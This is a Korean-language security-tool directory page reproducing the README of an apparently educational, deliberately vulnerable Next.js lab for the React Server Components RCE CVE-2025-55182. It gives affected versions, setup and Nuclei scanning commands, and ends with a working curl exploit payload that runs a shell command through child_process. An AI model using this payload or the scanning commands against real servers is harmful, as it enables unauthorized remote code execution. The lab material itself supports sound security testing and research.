Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
React2Shell-CVE-2025-55182-Testing-Environment — CVE-2025-55182를 위한 컨테이너화된 테스트 환경입니다. 이는 React Server Components의 심각한 (CVSS 10.0) 원격 코드 실행 취약점입니다. | Kitploit
도구/GitHubGitHub/abcfabian/react2shell-cve-2025-55182-testing-environment
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubabcfabian/react2shell-cve-2025-55182-testing-environment

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

React2Shell-CVE-2025-55182-Testing-Environment

CVE-2025-55182를 위한 컨테이너화된 테스트 환경입니다. 이는 React Server Components의 심각한 (CVSS 10.0) 원격 코드 실행 취약점입니다.

저장소 보기
18개월 전아직 검토되지 않음

React2Shell (CVE-2025-55182) 테스트 환경

CVE-2025-55182(치명적 CVSS 10.0) React Server Components 원격 코드 실행 취약점을 위한 컨테이너화된 테스트 환경입니다.

⚠️ 경고

이 환경은 의도적으로 취약하게 설계되었으며, 다음 목적으로만 사용해야 합니다:

  • 보안 연구 및 교육
  • 격리된 환경에서의 침투 테스트
  • 취약점 메커니즘 이해

다음과 같은 행위는 금지합니다:

  • 운영 환경에 배포
  • 인터넷에 노출
  • 악의적인 목적으로 사용

취약점 세부 정보

  • CVE: CVE-2025-55182 (React), CVE-2025-66478 (Next.js)
  • 심각도: 치명적 (10.0)
  • 유형: 인증되지 않은 원격 코드 실행
  • 영향: Next.js 15.x/16.x App Router의 React Server Components
  • 취약점 유형: CWE-502 (신뢰할 수 없는 데이터의 역직렬화)

영향을 받는 버전

React 패키지:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js:

  • 15.0.0 - 15.0.4
  • 15.1.0 - 15.1.8
  • 15.2.0 - 15.2.5
  • 15.3.0 - 15.3.5
  • 15.4.0 - 15.4.7
  • 15.5.0 - 15.5.6
  • 16.0.0 - 16.0.6

패치된 버전

React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

빠른 시작

Podman 사용 (macOS)

root@kitploit:~
# 취약 환경 빌드 및 시작
podman compose up --build -d

# 실행 확인
curl http://localhost:3000/api/status

# 로그 확인
podman logs -f react2shell-vuln

# 중지
podman compose down

Docker Compose 사용

root@kitploit:~
# 취약 환경 빌드 및 시작
docker-compose up --build -d

# http://localhost:3000에서 애플리케이션 접근

프로젝트 구조

root@kitploit:~
.
├── README.md               # 이 파일
├── Dockerfile              # 컨테이너 빌드 지침
├── Dockerfile.dev          # 핫 리로드 기능이 있는 개발 컨테이너
├── docker-compose.yml      # Docker/Podman Compose 설정
├── CVE-2025-55182.yaml     # Nuclei 스캐너 템플릿
├── scan.sh                 # 범용 Nuclei 스캐너 스크립트
├── scan-results/           # 스캔 출력 디렉터리
└── vulnerable-app/         # 취약한 Next.js 애플리케이션
    ├── package.json        # 종속성 (취약한 버전)
    ├── next.config.js      # Next.js 설정
    ├── tsconfig.json       # TypeScript 설정
    └── app/                # App Router 페이지 및 컴포넌트
        ├── layout.tsx      # 루트 레이아웃
        ├── page.tsx        # Server Components가 포함된 메인 페이지
        ├── globals.css     # 스타일
        ├── actions.ts      # 서버 액션
        ├── api/status/     # 상태 API 엔드포인트
        └── components/     # React 컴포넌트

취약점 스캔

Nuclei 템플릿 다운로드

템플릿이 없으면 공식 nuclei-templates 저장소에서 다운로드하세요:

root@kitploit:~
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

스캐너 스크립트 사용

포함된 scan.sh는 Docker와 Podman 모두에서 작동하는 범용 Nuclei 컨테이너 스캐너입니다.

root@kitploit:~
# 로컬 취약 앱 스캔
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# 임의 대상 스캔
./scan.sh -u https://example.com -t CVE-2025-55182.yaml

# 모든 Nuclei 템플릿으로 스캔
./scan.sh -u https://example.com

# 파일에서 여러 대상 스캔
./scan.sh -l targets.txt -t CVE-2025-55182.yaml

# 심각도별 필터링
./scan.sh -u https://example.com -s critical,high

# JSON 출력
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j

스캐너 옵션

수동 Nuclei 스캔 (Podman)

root@kitploit:~
podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

취약점 테스트

컨테이너가 실행 중이면:

  1. http://localhost:3000에서 애플리케이션에 접속합니다.
  2. 상태 API를 확인합니다: http://localhost:3000/api/status
  3. 스캐너를 실행하여 취약점 탐지를 확인합니다.
  4. 애플리케이션은 Next.js App Router를 통해 React Server Components를 사용합니다.

참고: 이 취약점은 RSC 프로토콜의 안전하지 않은 역직렬화와 관련됩니다. Nuclei 템플릿은 이 특정 공격 벡터를 테스트합니다.

패치된 버전으로 전환

패치된 버전을 테스트하려면 vulnerable-app/package.json을 수정하세요:

root@kitploit:~
{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

그런 다음 다시 빌드하세요:

root@kitploit:~
# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

참고 자료

  • React 보안 권고
  • Next.js 보안 권고
  • React 블로그 게시물
  • react2shell.com
  • Nuclei 템플릿

면책 조항

이 테스트 환경은 교육 및 보안 연구 목적으로만 제공됩니다. 관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 보안 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.

Curl 익스플로잇 예시

root@kitploit:~
curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"
도구 다운로드
옵션설명
-u, --url <url>스캔할 단일 대상 URL
-l, --list <file>대상 URL 목록이 있는 파일
-t, --template <file>사용자 정의 템플릿 파일 또는 디렉터리
-o, --output <dir>출력 디렉터리 (기본값: ./scan-results)
-s, --severity <level>필터: info, low, medium, high, critical
-r, --rate-limit <n>초당 최대 요청 수
-j, --jsonJSON 형식으로 결과 출력
-v, --verbose자세한 출력
-h, --help도움말 메시지 표시